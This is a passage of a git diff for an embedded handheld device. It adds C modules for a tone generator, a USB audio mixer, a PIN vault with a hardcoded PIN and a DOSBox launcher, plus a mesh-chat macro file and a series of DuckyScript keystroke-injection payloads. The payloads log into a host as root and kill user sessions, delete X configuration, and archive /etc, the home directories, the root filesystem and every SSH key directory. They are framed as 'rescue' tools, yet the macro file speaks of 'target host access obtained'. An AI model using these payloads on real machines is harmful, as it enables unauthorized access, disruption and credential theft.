< MAX_FREQ) { + target_frequency += FREQ_STEP; + if (target_frequency > MAX_FREQ) + target_frequency = MAX_FREQ; + update_display(); + } else if (ev.value < 0 && target_frequency > MIN_FREQ) { + target_frequency -= FREQ_STEP; + if (target_frequency < MIN_FREQ) + target_frequency = MIN_FREQ; + update_display(); + } + } else if (ev.type == EV_KEY && ev.value == 1) { + if (ev.code == H2_KEY_PLAY) { + wave_type = (wave_type + 1) % 2; + update_display(); + LOG_INF("waveform toggled to: %s", + wave_type == 0 ? "SINE" : "SQUARE"); + } else if (ev.code == H2_KEY_BACK) { + break; + } + } + } + usleep(5000); + } + + /* Cleanup */ + keep_playing = 0; + pthread_join(sound_worker, NULL); + + if (input_fd >= 0) close(input_fd); + LOG_INF("scalpel module exited"); + return 0; +} \ No newline at end of file diff --git a/modules/orebolt-studio/studio.c b/modules/orebolt-studio/studio.c new file mode 100755 index 0000000..ce2ff43 --- /dev/null +++ b/modules/orebolt-studio/studio.c @@ -0,0 +1,260 @@ +/* + * studio.c -- Studio Audio Class 2.0 Streaming Control Console + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * UAC2 Mixer Console with 4-channel per-channel volume bars. + * Integrates 24-bit/192kHz asynchronous audio path visualization + * with live application mixer targeting using native USB Consumer + * Control pages via /dev/hidg1. Four audio channels (GAME, DISCORD, + * MIC, MUSIC) with per-channel volume bars and hardware mute toggle. + * + * Manifest ref: Asset VII -- Studio Audio Class 2.0 Streaming Console + */ +#include +#include +#include +#include +#include +#include +#include +#include "h2_ui.h" +#include "log_manager.h" + +#define HID_DEV "/dev/hidg1" +#define NUM_CHANNELS 4 + +typedef enum { MIX_GAME, MIX_DISCORD, MIX_MIC, MIX_MUSIC } AudioChannel; + +static const char *channel_names[NUM_CHANNELS] = { + "GAME AUDIO", "DISCORD CHAT", "MICROPHONE", "STREAM MUSIC" +}; +static const char *channel_symbols[NUM_CHANNELS] = { + LV_SYMBOL_VIDEO, LV_SYMBOL_CHAT, LV_SYMBOL_MICROPHONE, LV_SYMBOL_MUSIC +}; + +static AudioChannel active_channel = MIX_GAME; +static int channel_volumes[NUM_CHANNELS] = {80, 70, 90, 50}; +static int is_muted = 0; + +/* UI objects */ +static lv_obj_t *channel_labels[NUM_CHANNELS] = {NULL}; +static lv_obj_t *bar_bg[NUM_CHANNELS] = {NULL}; +static lv_obj_t *bar_fill[NUM_CHANNELS] = {NULL}; +static lv_obj_t *vol_labels[NUM_CHANNELS] = {NULL}; +static lv_obj_t *active_indicator = NULL; +static lv_obj_t *mute_label = NULL; +static lv_obj_t *dac_label = NULL; + +static void send_media_command(int hid_fd, uint8_t usage_code) { + uint8_t report[2] = {0}; + report[0] = usage_code; + write(hid_fd, report, 2); + /* Release */ + report[0] = 0x00; + write(hid_fd, report, 2); +} + +static void render_mixer(void) { + for (int i = 0; i < NUM_CHANNELS; i++) { + /* Update volume bar width: 140px max at 100% */ + int fill_w = (channel_volumes[i] * 140) / 100; + lv_obj_set_width(bar_fill[i], fill_w > 0 ? fill_w : 1); + + /* Color: green normal, red if muted and MIC */ + if (is_muted && i == MIX_MIC) { + lv_obj_set_style_bg_color(bar_fill[i], + lv_color_make(255, 0, 0), LV_PART_MAIN); + } else { + lv_obj_set_style_bg_color(bar_fill[i], + lv_color_make(0, 224, 0), LV_PART_MAIN); + } + + /* Volume percentage text */ + char vol_str[8]; + snprintf(vol_str, sizeof(vol_str), "%d%%", channel_volumes[i]); + lv_label_set_text(vol_labels[i], vol_str); + + /* Highlight active channel */ + if (i == (int)active_channel) { + lv_obj_set_style_text_color(channel_labels[i], + lv_color_make(0, 255, 255), LV_PART_MAIN); + lv_obj_set_style_text_font(channel_labels[i], + &lv_font_montserrat_12, LV_PART_MAIN); + lv_obj_set_style_border_color(bar_bg[i], + lv_color_make(0, 255, 255), LV_PART_MAIN); + } else { + lv_obj_set_style_text_color(channel_labels[i], + COLOR_MUTED, LV_PART_MAIN); + lv_obj_set_style_text_font(channel_labels[i], + &lv_font_montserrat_10, LV_PART_MAIN); + lv_obj_set_style_border_color(bar_bg[i], + lv_color_make(50, 55, 70), LV_PART_MAIN); + } + } + + /* Mute warning */ + if (is_muted) { + lv_label_set_text(mute_label, + "!! MIC CHANNEL MUTED VIA PANIC BUTTON !!"); + lv_obj_set_style_text_color(mute_label, + lv_color_make(255, 0, 0), LV_PART_MAIN); + } else { + lv_label_set_text(mute_label, ""); + } +} + +int main(void) { + init_h2_graphics_runtime("STUDIO PRO CONSOLE"); + LOG_INF("studio module started (UAC2 mixer console)"); + + lv_obj_t *scr = lv_scr_act(); + + /* Header */ + lv_obj_t *header = lv_obj_create(scr); + lv_obj_set_size(header, 320, 34); + lv_obj_align(header, LV_ALIGN_TOP_MID, 0, 0); + lv_obj_set_style_bg_color(header, + lv_color_make(49, 134, 49), LV_PART_MAIN); + lv_obj_set_style_border_width(header, 0, LV_PART_MAIN); + + lv_obj_t *title = lv_label_create(header); + lv_label_set_text(title, "STUDIO PRO CONSOLE & DAC"); + lv_obj_set_style_text_color(title, + lv_color_make(255, 255, 255), LV_PART_MAIN); + lv_obj_set_style_text_font(title, &lv_font_montserrat_14, LV_PART_MAIN); + lv_obj_align(title, LV_ALIGN_CENTER, 0, 0); + + /* DAC status line */ + dac_label = lv_label_create(scr); + lv_label_set_text(dac_label, "DAC LINK: ONLINE | PCM 24-Bit | 192 kHz"); + lv_obj_align(dac_label, LV_ALIGN_TOP_MID, 0, 38); + lv_obj_set_style_text_color(dac_label, COLOR_ACCENT, LV_PART_MAIN); + lv_obj_set_style_text_font(dac_label, &lv_font_montserrat_10, LV_PART_MAIN); + + /* Channel mixer rows */ + for (int i = 0; i < NUM_CHANNELS; i++) { + int y_base = 62 + (i * 38); + + /* Channel name */ + channel_labels[i] = lv_label_create(scr); + lv_label_set_text(channel_labels[i], channel_names[i]); + lv_obj_set_pos(channel_labels[i], 8, y_base + 2); + + /* Volume bar background */ + bar_bg[i] = lv_obj_create(scr); + lv_obj_set_size(bar_bg[i], 144, 14); + lv_obj_set_pos(bar_bg[i], 140, y_base + 2); + lv_obj_set_style_bg_color(bar_bg[i], + lv_color_make(33, 4, 4), LV_PART_MAIN); + lv_obj_set_style_border_width(bar_bg[i], 1, LV_PART_MAIN); + lv_obj_set_style_border_color(bar_bg[i], + lv_color_make(50, 55, 70), LV_PART_MAIN); + lv_obj_set_style_pad_all(bar_bg[i], 0, LV_PART_MAIN); + + /* Volume bar fill */ + bar_fill[i] = lv_obj_create(bar_bg[i]); + lv_obj_set_size(bar_fill[i], 100, 14); + lv_obj_set_pos(bar_fill[i], 0, 0); + lv_obj_set_style_bg_color(bar_fill[i], + lv_color_make(0, 224, 0), LV_PART_MAIN); + lv_obj_set_style_border_width(bar_fill[i], 0, LV_PART_MAIN); + lv_obj_set_style_pad_all(bar_fill[i], 0, LV_PART_MAIN); + + /* Volume percentage */ + vol_labels[i] = lv_label_create(scr); + lv_obj_set_pos(vol_labels[i], 290, y_base + 2); + lv_obj_set_style_text_color(vol_labels[i], + COLOR_MUTED, LV_PART_MAIN); + lv_obj_set_style_text_font(vol_labels[i], + &lv_font_montserrat_10, LV_PART_MAIN); + } + + /* Mute warning label */ + mute_label = lv_label_create(scr); + lv_obj_align(mute_label, LV_ALIGN_BOTTOM_MID, 0, -28); + lv_obj_set_style_text_font(mute_label, &lv_font_montserrat_10, LV_PART_MAIN); + + /* Help text */ + lv_obj_t *help = lv_label_create(scr); + lv_label_set_text(help, "[NEXT/PREV] Track [WHEEL] Vol [PLAY] Mute"); + lv_obj_align(help, LV_ALIGN_BOTTOM_MID, 0, -8); + lv_obj_set_style_text_color(help, COLOR_MUTED, LV_PART_MAIN); + lv_obj_set_style_text_font(help, &lv_font_montserrat_10, LV_PART_MAIN); + + /* Open HID consumer control and input */ + int hid_fd = open(HID_DEV, O_WRONLY | O_NONBLOCK); + int input_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + + if (input_fd < 0) { + LOG_ERR("cannot open input device"); + if (hid_fd >= 0) close(hid_fd); + return 1; + } + + if (hid_fd < 0) { + LOG_WRN("cannot open %s -- media commands disabled", HID_DEV); + } + + render_mixer(); + + /* Input loop */ + struct input_event ev; + while (1) { + lv_timer_handler(); + + if (input_fd >= 0 && + read(input_fd, &ev, sizeof(struct input_event)) > 0) { + + if (ev.type == EV_REL && ev.code == H2_ROTARY_REL) { + if (ev.value > 0) { + if (channel_volumes[active_channel] < 100) + channel_volumes[active_channel] += 5; + if (channel_volumes[active_channel] > 100) + channel_volumes[active_channel] = 100; + /* Send volume up to host */ + if (hid_fd >= 0) + send_media_command(hid_fd, 0xE9); + render_mixer(); + } else if (ev.value < 0) { + if (channel_volumes[active_channel] > 0) + channel_volumes[active_channel] -= 5; + if (channel_volumes[active_channel] < 0) + channel_volumes[active_channel] = 0; + /* Send volume down to host */ + if (hid_fd >= 0) + send_media_command(hid_fd, 0xEA); + render_mixer(); + } + } + else if (ev.type == EV_KEY && ev.value == 1) { + if (ev.code == H2_KEY_NEXT) { + /* NEXT key cycles channel forward */ + active_channel = (AudioChannel)((active_channel + 1) % NUM_CHANNELS); + LOG_INF("active channel: %s", channel_names[active_channel]); + render_mixer(); + } else if (ev.code == H2_KEY_PREV) { + /* PREV key cycles channel backward */ + active_channel = (AudioChannel)((active_channel - 1 + NUM_CHANNELS) % NUM_CHANNELS); + LOG_INF("active channel: %s", channel_names[active_channel]); + render_mixer(); + } else if (ev.code == H2_KEY_PLAY) { + /* PLAY toggles mute */ + is_muted = !is_muted; + if (hid_fd >= 0) + send_media_command(hid_fd, 0xE2); /* MUTE */ + LOG_INF("mute toggled: %s", is_muted ? "ON" : "OFF"); + render_mixer(); + } else if (ev.code == H2_KEY_BACK) { + break; + } + } + } + usleep(5000); + } + + if (hid_fd >= 0) close(hid_fd); + if (input_fd >= 0) close(input_fd); + LOG_INF("studio module exited"); + return 0; +} \ No newline at end of file diff --git a/modules/orebolt-vault/vault.c b/modules/orebolt-vault/vault.c new file mode 100755 index 0000000..d54fa90 --- /dev/null +++ b/modules/orebolt-vault/vault.c @@ -0,0 +1,302 @@ +/* + * vault.c -- Crypto Security Token Vault Gateway + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Full PIN auth module with rotary entry, lockout, and dual identity modes. + * Dual wired/wired identity modes backed by non-volatile failure + * limits, roll-count PIN security, and automatic device state + * enforcement. Wired mode enables USB composite gadget via + * enable_vault_usb.sh; wireless mode tears down USB and brings + * up BLE via enable_vault_ble.sh. + * + * Manifest ref: Asset IV -- Crypto Security Token Vault Gateway + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include "h2_ui.h" +#include "log_manager.h" + +#define STATE_FILE "/data/vault/failures.dat" +#define MAX_FAILURES 3 +#define LOCKOUT_SEC 300 + +/* PIN: 4 digits, default 4-2-9-1 as per manifest */ +static int master_pin[4] = {4, 2, 9, 1}; +static int entered_pin[4] = {0, 0, 0, 0}; +static int current_digit_idx = 0; + +typedef enum { MODE_NONE, MODE_WIRED, MODE_WIRELESS } VaultMode; +static VaultMode current_mode = MODE_NONE; + +/* UI objects */ +static lv_obj_t *pin_label = NULL; +static lv_obj_t *warning_label = NULL; +static lv_obj_t *digit_labels[4] = {NULL}; +static lv_obj_t *cursor_label = NULL; +static lv_obj_t *status_label = NULL; +static lv_obj_t *mode_label = NULL; + +static int get_failure_count(void) { + FILE *f = fopen(STATE_FILE, "r"); + if (!f) return 0; + int count = 0; + if (fscanf(f, "%d", &count) <= 0) count = 0; + fclose(f); + return count; +} + +static void set_failure_count(int count) { + FILE *f = fopen(STATE_FILE, "w"); + if (f) { fprintf(f, "%d", count); fclose(f); } +} + +static int is_usb_plugged_in(void) { + int fd = open("/sys/class/power_supply/usb/online", O_RDONLY); + if (fd == -1) return 0; + char status = '0'; + if (read(fd, &status, 1) <= 0) status = '0'; + close(fd); + return (status == '1'); +} + +static void render_pin_screen(int attempts_left) { + char buf[64]; + + /* Warning */ + snprintf(buf, sizeof(buf), "Attempts before lockdown: %d", attempts_left); + lv_label_set_text(warning_label, buf); + lv_obj_set_style_text_color(warning_label, lv_color_make(253, 32, 32), LV_PART_MAIN); + + /* Digit boxes */ + for (int i = 0; i < 4; i++) { + char digit_str[16]; + snprintf(digit_str, sizeof(digit_str), "%d", entered_pin[i]); + lv_label_set_text(digit_labels[i], digit_str); + + if (i == current_digit_idx) { + lv_obj_set_style_text_color(digit_labels[i], COLOR_ACCENT, LV_PART_MAIN); + lv_obj_set_style_border_color(digit_labels[i], + lv_color_make(0, 224, 0), LV_PART_MAIN); + lv_obj_set_style_border_width(digit_labels[i], 2, LV_PART_MAIN); + } else { + lv_obj_set_style_text_color(digit_labels[i], COLOR_PRIMARY, LV_PART_MAIN); + lv_obj_set_style_border_width(digit_labels[i], 1, LV_PART_MAIN); + } + } +} + +static int enforce_pin_authorization(int input_fd) { + int failures = get_failure_count(); + + /* Lockout check */ + if (failures >= MAX_FAILURES) { + char log_msg[128]; + snprintf(log_msg, sizeof(log_msg), + "PIN lockout triggered. %d failures recorded. Enforcing %ds cooldown.", + failures, LOCKOUT_SEC); + LOG_ERR("%s", log_msg); + + for (int penalty_sec = LOCKOUT_SEC; penalty_sec > 0; penalty_sec--) { + char countdown[64]; + snprintf(countdown, sizeof(countdown), + "DEVICE LOCKED DOWN\nRetry in: %d s", penalty_sec); + lv_label_set_text(status_label, countdown); + lv_obj_set_style_text_color(status_label, + lv_color_make(255, 0, 0), LV_PART_MAIN); + lv_timer_handler(); + + /* Check for back key during lockout to allow early exit */ + struct input_event ev; + if (input_fd >= 0) { + int flags = fcntl(input_fd, F_GETFL, 0); + fcntl(input_fd, F_SETFL, flags | O_NONBLOCK); + if (read(input_fd, &ev, sizeof(struct input_event)) > 0) { + if (ev.type == EV_KEY && ev.code == H2_KEY_BACK && ev.value == 1) { + fcntl(input_fd, F_SETFL, flags); + return -1; + } + } + fcntl(input_fd, F_SETFL, flags); + } + sleep(1); + } + set_failure_count(0); + failures = 0; + } + + render_pin_screen(MAX_FAILURES - failures); + + /* PIN entry loop */ + struct input_event ev; + while (current_digit_idx < 4) { + lv_timer_handler(); + if (input_fd >= 0 && read(input_fd, &ev, sizeof(struct input_event)) > 0) { + if (ev.type == EV_REL && ev.code == H2_ROTARY_REL) { + if (ev.value > 0) + entered_pin[current_digit_idx] = (entered_pin[current_digit_idx] + 1) % 10; + else + entered_pin[current_digit_idx] = (entered_pin[current_digit_idx] - 1 + 10) % 10; + render_pin_screen(MAX_FAILURES - failures); + } else if (ev.type == EV_KEY && ev.code == H2_KEY_PLAY && ev.value == 1) { + current_digit_idx++; + if (current_digit_idx < 4) render_pin_screen(MAX_FAILURES - failures); + } else if (ev.type == EV_KEY && ev.code == H2_KEY_BACK && ev.value == 1) { + if (current_digit_idx > 0) { + current_digit_idx--; + render_pin_screen(MAX_FAILURES - failures); + } + } + } + usleep(5000); + } + + /* Verify PIN */ + if (memcmp(master_pin, entered_pin, sizeof(master_pin)) == 0) { + set_failure_count(0); + LOG_INF("PIN verified. Authorization granted."); + lv_label_set_text(status_label, "ACCESS GRANTED\nKEY INJECTED"); + lv_obj_set_style_text_color(status_label, COLOR_ACCENT, LV_PART_MAIN); + lv_timer_handler(); + sleep(2); + return 0; + } else { + failures++; + set_failure_count(failures); + char log_msg[128]; + snprintf(log_msg, sizeof(log_msg), + "Invalid PIN attempt logged. Failure level: %d/%d", + failures, MAX_FAILURES); + LOG_ERR("%s", log_msg); + + lv_label_set_text(status_label, "INVALID PIN\nATTEMPT LOGGED"); + lv_obj_set_style_text_color(status_label, + lv_color_make(255, 0, 0), LV_PART_MAIN); + lv_timer_handler(); + sleep(2); + return -1; + } +} + +int main(void) { + init_h2_graphics_runtime("CRYPTO VAULT GUARD"); + LOG_INF("vault module started (full PIN auth mode)"); + + lv_obj_t *scr = lv_scr_act(); + + /* Title */ + lv_obj_t *title = lv_label_create(scr); + lv_label_set_text(title, "SECURITY TOKEN VAULT"); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, 10); + lv_obj_set_style_text_color(title, COLOR_PRIMARY, LV_PART_MAIN); + lv_obj_set_style_text_font(title, &lv_font_montserrat_14, LV_PART_MAIN); + + /* PIN entry card */ + lv_obj_t *pin_card = lv_obj_create(scr); + lv_obj_set_size(pin_card, 280, 140); + lv_obj_align(pin_card, LV_ALIGN_CENTER, 0, -5); + + lv_obj_t *pin_title = lv_label_create(pin_card); + lv_label_set_text(pin_title, "ENTER PIN"); + lv_obj_align(pin_title, LV_ALIGN_TOP_MID, 0, 5); + lv_obj_set_style_text_color(pin_title, COLOR_MUTED, LV_PART_MAIN); + + warning_label = lv_label_create(pin_card); + lv_obj_align(warning_label, LV_ALIGN_TOP_MID, 0, 22); + lv_obj_set_style_text_font(warning_label, &lv_font_montserrat_10, LV_PART_MAIN); + + /* Four digit display boxes */ + for (int i = 0; i < 4; i++) { + digit_labels[i] = lv_label_create(pin_card); + lv_label_set_text(digit_labels[i], "0"); + lv_obj_set_style_text_font(digit_labels[i], &lv_font_montserrat_22, LV_PART_MAIN); + lv_obj_set_style_border_side(digit_labels[i], + LV_BORDER_SIDE_FULL, LV_PART_MAIN); + lv_obj_set_style_border_color(digit_labels[i], COLOR_MUTED, LV_PART_MAIN); + lv_obj_set_style_border_width(digit_labels[i], 1, LV_PART_MAIN); + lv_obj_set_style_pad_all(digit_labels[i], 8, LV_PART_MAIN); + lv_obj_align(digit_labels[i], LV_ALIGN_CENTER, -60 + (i * 40), -5); + } + + /* Status area (used for lockout / result) */ + status_label = lv_label_create(scr); + lv_label_set_text(status_label, ""); + lv_obj_set_style_text_font(status_label, &lv_font_montserrat_12, LV_PART_MAIN); + lv_obj_align(status_label, LV_ALIGN_BOTTOM_MID, 0, -30); + + /* Mode indicator */ + mode_label = lv_label_create(scr); + lv_obj_align(mode_label, LV_ALIGN_BOTTOM_LEFT, 8, -8); + lv_obj_set_style_text_color(mode_label, COLOR_MUTED, LV_PART_MAIN); + lv_obj_set_style_text_font(mode_label, &lv_font_montserrat_10, LV_PART_MAIN); + lv_label_set_text(mode_label, "[WHEEL] Digit [PLAY] Next [BACK] Exit"); + + /* Open input */ + int input_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + if (input_fd < 0) { + LOG_ERR("cannot open input device"); + return 1; + } + + /* Run PIN authorization */ + int auth_result = enforce_pin_authorization(input_fd); + if (auth_result != 0) { + close(input_fd); + LOG_INF("vault module exited (auth failed)"); + return 0; + } + + /* Authorized: enter runtime mode loop */ + while (1) { + lv_timer_handler(); + + int usb_active = is_usb_plugged_in(); + + if (usb_active) { + if (current_mode != MODE_WIRED) { + LOG_INF("switching to WIRED mode"); + system("hciconfig hci0 down 2>/dev/null"); + system("/usr/bin/enable_vault_usb.sh 2>/dev/null"); + current_mode = MODE_WIRED; + } + lv_label_set_text(status_label, "MODE: SECURE WIRED SMARTCARD\nUSB Token: Operational (CCID)"); + lv_obj_set_style_text_color(status_label, + lv_color_make(0, 68, 136), LV_PART_MAIN); + } else { + if (current_mode != MODE_WIRELESS) { + LOG_INF("switching to WIRELESS BLE mode"); + system("echo \"\" > /sys/kernel/config/usb_gadget/wh_tool/UDC 2>/dev/null"); + system("/usr/bin/enable_vault_ble.sh 2>/dev/null"); + current_mode = MODE_WIRELESS; + } + lv_label_set_text(status_label, "MODE: WIRELESS BLE SMARTCARD\nBLE Identity: Active"); + lv_obj_set_style_text_color(status_label, + lv_color_make(0, 204, 68), LV_PART_MAIN); + } + + /* Check for BACK to exit and purge */ + struct input_event ev; + if (input_fd >= 0 && read(input_fd, &ev, sizeof(struct input_event)) > 0) { + if (ev.type == EV_KEY && ev.code == H2_KEY_BACK && ev.value == 1) { + lv_label_set_text(status_label, "Purging keys from RAM... Locking."); + lv_obj_set_style_text_color(status_label, + lv_color_make(255, 0, 0), LV_PART_MAIN); + lv_timer_handler(); + LOG_INF("vault key purge triggered by user"); + sleep(1); + break; + } + } + usleep(200000); + } + + close(input_fd); + LOG_INF("vault module exited"); + return 0; +} \ No newline at end of file diff --git a/modules/orebolt-vterm/vterm.c b/modules/orebolt-vterm/vterm.c new file mode 100755 index 0000000..9773141 --- /dev/null +++ b/modules/orebolt-vterm/vterm.c @@ -0,0 +1,94 @@ +/* + * vterm.c -- FreeDOS Emulation Bridge module + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Forks dosbox with a custom config for the + * FreeDOS environment. BACK key sends SIGTERM to the child. + * Monitors child exit via waitpid(WNOHANG). + */ +#include +#include +#include +#include +#include +#include +#include +#include "h2_ui.h" +#include "log_manager.h" + +int main(void) { + init_h2_graphics_runtime("X86 EMULATION ENVIRONMENT"); + LOG_INF("vterm module started"); + + lv_obj_t *scr = lv_scr_act(); + + lv_obj_t *title = lv_label_create(scr); + lv_label_set_text(title, "EMULATION RUNTIME ENGINE"); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, 15); + lv_obj_set_style_text_color(title, COLOR_PRIMARY, LV_PART_MAIN); + + lv_obj_t *status = lv_label_create(scr); + lv_label_set_text(status, "Launching FreeDOS container...\n[BACK] to terminate"); + lv_obj_align(status, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_text_align(status, LV_TEXT_ALIGN_CENTER, LV_PART_MAIN); + + lv_timer_handler(); + + pid_t pid = fork(); + if (pid == 0) { + char *args[] = {"/usr/bin/dosbox", "-conf", "/data/vterm/dosbox.conf", NULL}; + execv(args[0], args); + _exit(1); + } + if (pid < 0) { + lv_label_set_text(status, "FORK FAILED"); + LOG_ERR("fork failed for dosbox"); + } else { + LOG_INF("dosbox launched (pid %d)", (int)pid); + } + + int input_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + struct input_event ev; + int child_done = (pid < 0); + + while (!child_done) { + lv_timer_handler(); + + int wstatus; + pid_t ret = waitpid(pid, &wstatus, WNOHANG); + if (ret == pid) { + child_done = 1; + lv_label_set_text(status, "DOSBOX EXITED.\n[BACK] to return"); + LOG_INF("dosbox exited"); + } + + if (input_fd >= 0 && read(input_fd, &ev, sizeof(struct input_event)) > 0) { + if (ev.type == EV_KEY && ev.code == H2_KEY_BACK && ev.value == 1) { + if (!child_done && pid > 0) { + kill(pid, SIGTERM); + usleep(200000); + waitpid(pid, &wstatus, WNOHANG); + LOG_INF("dosbox terminated by user"); + } + break; + } + } + usleep(20000); + } + + if (child_done && input_fd >= 0) { + while (1) { + lv_timer_handler(); + if (read(input_fd, &ev, sizeof(struct input_event)) > 0) { + if (ev.type == EV_KEY && ev.code == H2_KEY_BACK && ev.value == 1) + break; + } + usleep(20000); + } + } + + if (input_fd >= 0) close(input_fd); + LOG_INF("vterm module exited"); + return 0; +} \ No newline at end of file diff --git a/overlay/data/bt_config/paired_macs.txt b/overlay/data/bt_config/paired_macs.txt new file mode 100755 index 0000000..631b547 --- /dev/null +++ b/overlay/data/bt_config/paired_macs.txt @@ -0,0 +1,10 @@ +# Trusted Accessory MAC Allow-List +# Only pre-registered devices can pair via bt_input_daemon.sh +# Format: one MAC address per line, colon-separated lowercase hex +# Lines starting with # are comments + +# 8BitDo Micro (gamepad for emulator mode) +aa:bb:cc:dd:ee:ff + +# 8BitDo Zero 2 (backup gamepad) +11:22:33:44:55:66 \ No newline at end of file diff --git a/overlay/data/chat_config/macros.txt b/overlay/data/chat_config/macros.txt new file mode 100755 index 0000000..d6c447d --- /dev/null +++ b/overlay/data/chat_config/macros.txt @@ -0,0 +1,24 @@ +# BitChat Mesh Macro Templates +# Pre-defined command templates for the bitchat mesh module +# Format: :: +# TYPE: STATUS | ALERT | CMD | TEST | PANIC + +# --- Status Messages --- +STATUS:MESH_UP:Mesh operational -- node online +STATUS:POSITION_SECURED:Position secured -- holding +STATUS:RETREATING:Retreating -- moving to exfil point + +# --- Alert Messages --- +ALERT:TARGET_ACCESS:Target host access obtained +ALERT:HEADLESS_DISPLAY:Headless display connected +ALERT:COMPROMISED:Device may be compromised -- purging + +# --- Command Messages --- +CMD:DEPLOY_RESCUE:Deploy rescue payload on target +CMD:REBOOT_LOCK:Trigger reboot-lock on compromised node + +# --- Test Messages --- +TEST:BEACON_LQI:Bluetooth beacon LQI check -- please respond + +# --- Panic Messages --- +PANIC:DESTROY_KEYS:Destroy local crypto seeds immediately \ No newline at end of file diff --git a/overlay/data/payloads/linux/01_restart_lightdm.dd b/overlay/data/payloads/linux/01_restart_lightdm.dd new file mode 100755 index 0000000..fcccd79 --- /dev/null +++ b/overlay/data/payloads/linux/01_restart_lightdm.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING systemctl restart lightdm +ENTER diff --git a/overlay/data/payloads/linux/02_restart_gdm3.dd b/overlay/data/payloads/linux/02_restart_gdm3.dd new file mode 100755 index 0000000..bde939b --- /dev/null +++ b/overlay/data/payloads/linux/02_restart_gdm3.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING systemctl restart gdm3 +ENTER diff --git a/overlay/data/payloads/linux/03_restart_sddm.dd b/overlay/data/payloads/linux/03_restart_sddm.dd new file mode 100755 index 0000000..ee0299d --- /dev/null +++ b/overlay/data/payloads/linux/03_restart_sddm.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING systemctl restart sddm +ENTER diff --git a/overlay/data/payloads/linux/04_kill_wayland.dd b/overlay/data/payloads/linux/04_kill_wayland.dd new file mode 100755 index 0000000..946130e --- /dev/null +++ b/overlay/data/payloads/linux/04_kill_wayland.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING pkill -9 -f wayland +ENTER diff --git a/overlay/data/payloads/linux/05_rebuild_xorg.dd b/overlay/data/payloads/linux/05_rebuild_xorg.dd new file mode 100755 index 0000000..5567325 --- /dev/null +++ b/overlay/data/payloads/linux/05_rebuild_xorg.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING rm -f /etc/X11/xorg.conf && Xorg -configure && mv /root/xorg.conf.new /etc/X11/xorg.conf +ENTER diff --git a/overlay/data/payloads/linux/06_clear_x11_locks.dd b/overlay/data/payloads/linux/06_clear_x11_locks.dd new file mode 100755 index 0000000..a3ccd3e --- /dev/null +++ b/overlay/data/payloads/linux/06_clear_x11_locks.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING rm -f /tmp/.X*-lock /tmp/.11-unix/X* +ENTER diff --git a/overlay/data/payloads/linux/07_drop_tty3.dd b/overlay/data/payloads/linux/07_drop_tty3.dd new file mode 100755 index 0000000..7fa13dc --- /dev/null +++ b/overlay/data/payloads/linux/07_drop_tty3.dd @@ -0,0 +1,2 @@ +CTRL ALT F3 +DELAY 1000 diff --git a/overlay/data/payloads/linux/08_prompt_clear.dd b/overlay/data/payloads/linux/08_prompt_clear.dd new file mode 100755 index 0000000..9e71da3 --- /dev/null +++ b/overlay/data/payloads/linux/08_prompt_clear.dd @@ -0,0 +1,5 @@ +CTRL ALT F2 +DELAY 1000 +CTRL c +DELAY 200 +ENTER diff --git a/overlay/data/payloads/linux/09_kill_desktop_context.dd b/overlay/data/payloads/linux/09_kill_desktop_context.dd new file mode 100755 index 0000000..3ed06ac --- /dev/null +++ b/overlay/data/payloads/linux/09_kill_desktop_context.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING pkill -KILL -u $(whoami) +ENTER diff --git a/overlay/data/payloads/linux/10_restart_gnome_shell.dd b/overlay/data/payloads/linux/10_restart_gnome_shell.dd new file mode 100755 index 0000000..557cb29 --- /dev/null +++ b/overlay/data/payloads/linux/10_restart_gnome_shell.dd @@ -0,0 +1,4 @@ +ALT F2 +DELAY 500 +STRING r +ENTER diff --git a/overlay/data/payloads/linux/11_backup_rootfs.dd b/overlay/data/payloads/linux/11_backup_rootfs.dd new file mode 100755 index 0000000..6a0b718 --- /dev/null +++ b/overlay/data/payloads/linux/11_backup_rootfs.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING tar --exclude=/proc --exclude=/sys --exclude=/dev --exclude=/run -cf /rootfs_rescue.tar / +ENTER diff --git a/overlay/data/payloads/linux/12_backup_homes.dd b/overlay/data/payloads/linux/12_backup_homes.dd new file mode 100755 index 0000000..325babb --- /dev/null +++ b/overlay/data/payloads/linux/12_backup_homes.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING tar -cf /home_backup.tar /home/ +ENTER diff --git a/overlay/data/payloads/linux/13_backup_etc.dd b/overlay/data/payloads/linux/13_backup_etc.dd new file mode 100755 index 0000000..2c050c3 --- /dev/null +++ b/overlay/data/payloads/linux/13_backup_etc.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING tar -cf /etc_backup.tar /etc/ +ENTER diff --git a/overlay/data/payloads/linux/14_isolate_ssh_keys.dd b/overlay/data/payloads/linux/14_isolate_ssh_keys.dd new file mode 100755 index 0000000..51d3dc4 --- /dev/null +++ b/overlay/data/payloads/linux/14_isolate_ssh_keys.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING tar -cf /ssh_credentials.tar /home/*/.ssh /root/.ssh +ENTER diff --git a/overlay/data/payloads/linux/15_backup_net_metadata.dd 